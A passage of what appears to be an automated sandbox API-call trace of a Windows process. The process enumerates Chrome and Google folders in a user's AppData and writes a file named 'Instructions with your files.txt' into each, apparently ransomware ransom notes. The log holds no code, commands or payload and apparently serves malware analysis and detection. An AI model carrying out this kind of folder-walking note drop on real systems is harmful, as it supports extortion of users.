[0130.434] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*") returned 91
[0130.434] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.436] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\.") returned 91
[0130.436] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.437] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\..") returned 92
[0130.437] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.437] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Instructions with your files.txt") returned 122
[0130.437] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\sslerrorassistant\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.437] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.438] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.438] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.438] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.438] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.438] CloseHandle (hObject=0x120) returned 1
[0130.438] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.439] GetProcessHeap () returned 0x810000
[0130.439] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.439] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1
[0130.439] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned 82
[0130.439] GetProcessHeap () returned 0x810000
[0130.439] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.439] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*") returned 84
[0130.439] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.439] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\.") returned 84
[0130.439] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.439] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\..") returned 85
[0130.439] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.439] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Instructions with your files.txt") returned 115
[0130.439] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\swreporter\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.440] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.440] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.440] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.441] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.441] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.441] CloseHandle (hObject=0x120) returned 1
[0130.441] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.441] GetProcessHeap () returned 0x810000
[0130.441] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.441] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1
[0130.441] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned 83
[0130.441] GetProcessHeap () returned 0x810000
[0130.441] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.441] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*") returned 85
[0130.441] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.441] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\.") returned 85
[0130.441] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.441] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\..") returned 86
[0130.441] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.441] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Instructions with your files.txt") returned 116
[0130.442] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\widevinecdm\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.442] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.443] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.443] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.443] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.443] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.443] CloseHandle (hObject=0x120) returned 1
[0130.443] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.443] GetProcessHeap () returned 0x810000
[0130.443] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.443] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0
[0130.443] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Instructions with your files.txt") returned 104
[0130.443] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.444] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.444] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.445] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.445] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.445] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.445] CloseHandle (hObject=0x11c) returned 1
[0130.445] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.447] GetProcessHeap () returned 0x810000
[0130.447] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x856bd0 | out: hHeap=0x810000) returned 1
[0130.447] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 0
[0130.447] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\Instructions with your files.txt") returned 94
[0130.447] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.447] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.448] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.448] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.448] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.449] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.449] CloseHandle (hObject=0x118) returned 1
[0130.449] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.449] GetProcessHeap () returned 0x810000
[0130.449] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x845bc0 | out: hHeap=0x810000) returned 1
[0130.449] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1
[0130.449] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports") returned 67
[0130.449] GetProcessHeap () returned 0x810000
[0130.449] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.450] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\*") returned 69
[0130.450] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.450] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\.") returned 69
[0130.450] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.450] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\..") returned 70
[0130.450] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.450] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\Instructions with your files.txt") returned 100
[0130.450] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\crashreports\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.451] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.452] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
